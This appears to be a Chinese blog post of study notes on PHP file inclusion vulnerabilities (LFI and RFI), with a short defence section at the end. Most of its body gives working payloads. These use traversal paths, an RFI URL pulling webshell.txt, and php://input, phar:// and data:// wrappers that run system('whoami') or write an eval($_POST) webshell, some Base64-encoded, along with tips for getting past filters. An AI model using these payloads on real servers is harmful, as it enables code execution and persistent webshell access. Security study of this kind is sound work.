IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 文件包含漏洞复习~ -> 正文阅读

[PHP知识库]文件包含漏洞复习~

文件包含相关函数(php)

include():如果报错,只是警告,继续执行

include_once():

require():若报错,比如文件不存在,则会直接退出

require_once():

其余两个带once的函数和不带once的差不多,唯一的区别在****_once()函数会在导入文件前先检测该文件是否在该页面的其它部分被导入过,如果有的话就不会重复导入该文件。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

例如:

<?php
    $file = $_GET['file'];
    include $file;
?>

在同目录下有个phpinfo.txt,其内容为<? phpinfo(); ?>。则只需要访问:

fileinclude.php?file=phpinfo.txt

然后就可以直接解析phpinfo()。

漏洞利用场景

具有相关的文件包含函数。

文件包含函数中存在动态变量,比如 include $file;

攻击者能够控制该变量,比如$file = $_GET['file'];

文件包含漏洞分类

本地包含漏洞

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

这个漏洞不受allow_url_fopen = Onallow_url_include = On这两个的影响。

?page=../../../phpinfo.php

就可以访问phpinfo界面

RFI(Remote File Inclusion)漏洞

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

allow_url_fopen = On

allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

?page=http://test.test.test.test/webshell.txt

若上面两个选项均是开启状态的话,那么在本地就会生成webshell.php

利用方式

测试代码

<?php
    $file = $_GET['file'];
    include $file;
?>

php伪协议

file://

file://伪协议用于访问本地文件系统

利用条件:

对allow_url_include不做要求。

对allow_url_fopen不做要求。

fileinclude.php?file=file://C:/Windows/win.ini

php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。?enctype="multipart/form-data"?的时候?php://input?是无效的。

fileinclude.php?file=php://input


POST:
<?php phpinfo(); ?>

注意:碰到file_get_contents()就要想到用php://input绕过

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。

file_get_contents():这个函数就是把一个文件里面的东西 (字符)全部return出来作为字符串。

除此之外,通过实践我发现这个函数如果直接把字符串当作参数会报错,但如果包含的是http协议的网址,则会像curl命令一样,把源码读出来。而php伪协议也是识别http协议的,所以说上面php://input可以将POST的数据读过来来赋值给参数。

php://input(命令执行)

利用条件:

allow_url_include = On。
对allow_url_fopen不做要求。

姿势:

fileinclude.php?file=php://input

POST:
<?php system('whoami'); ?>

php://input(写入木马)

利用条件:

allow_url_include = On。

对allow_url_fopen不做要求。

姿势:

fileinclude.php?file=php://input

POST:
<?php fputs(fopen('hack.php','w'),'<?php @e val($_POST[v])?>');?>

php://filter

元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

利用条件:

对allow_url_include不做要求。

对allow_url_fopen不做要求。

fileinclude.php?file=php://filter/read=convert.Base64-encode/resource=index.php

另外一种:
fileinclude.php?file=php://filter/convert.Base64-encode/resource=index.php
//效果跟前面的一样,少了read等关键字。在绕过一些waf时也许有用。

通过指定末尾的文件,可以读取经Base64加密后的文件源码,之后再B ase64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。

phar://

这个就是php解压缩包的一个伪协议,不管后缀是什么,都会当做压缩包来解压。

利用条件:

php版本大于等于php5.3.0

对allow_url_include不做要求。

对allow_url_fopen不做要求。

利用方式:

写一个文件phpinfo.php,其内容为<?php phpinfo(); ?>,打包成zip压缩文件格式的压缩包test.zip

指定绝对路径:

fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/phpinfo.php

指定相对路径:

fileinclude.php?file=phar://test.zip/phpinfo.php

注意:其中test.zip必须得是以zip压缩文件格式压缩,其它像rar、7z这样的压缩文件格式就不行了。不过test.zip的后缀可以不是zip,可以是像test.jpg,甚至test.111这样的后缀都行。这里就涉及到了绕过了,如果zip后缀不让上传,那么就修改为test.111这样的后缀肯定不会被拦截了,这时就能成功。

phar://(命令执行)

利用条件:

php版本大于等于php5.3.0

对allow_url_include不做要求。

对allow_url_fopen不做要求。

姿势:

phar://,只不过把文件内容改成<?php system('whoami');?>

phar://(写入木马)

利用条件:

php版本大于等于php5.3.0

对allow_url_include不做要求。

对allow_url_fopen不做要求。

姿势:

写一个木马shell.php,其内容为<?php?@eval($_POST[v]);?>,打包成zip压缩文件格式的压缩包

zip://

这个协议和phar协议查不懂,但是用法不一样

不同的有以下几点

1.只能使用绝对路径

2.使用zip伪协议,需要指定绝对路径,而且压缩包文件和压缩包内的文件之间得用#,还要将#给URL编码为%23,之后填上压缩包内的文件。

data://

数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的。

利用条件:

php版本大于等于php5.2

allow_url_fopen = On

allow_url_include = On

方式一:

fileinclude.php?file=data:text/plain,<?php system('whoami');?>

方式二:

fileinclude.php?file=data:text/plain;B ase64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的Base64解码为:<?php system('whoami');?>

data://(写入木马)

利用条件:

php版本大于等于php5.2

allow_url_fopen = On

allow_url_include = On

方式一:

fileinclude.php?file=data:text/plain,<?php fputs(fopen('hack.php','w'),'<?php @e val($_POST[v])?>');?>

方式二:

fileinclude.php?file=data:text/plain;B ase64,PD9waHAgZnB1dHMoZm9wZW4oJ2hhY2sucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1Rbdl0pPz4nKTs/Pg==

防御方案

对可以包含的文件进行限制,可以采用白名单的方式,或设置可以包含的目录。

对危险字符进行过滤,比如过滤.(点)/(反斜杠)\(反斜杠)等特殊字符。

尽量将allow_url_fopen和allow_url_include配置为off,不过像有些伪协议还是能使用,不过能尽量off还是off吧。

尽量不使用动态包含等等

参考资料----奇安信安全社区

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-16 12:49:24  更:2022-01-16 12:51:33 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:35:50-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码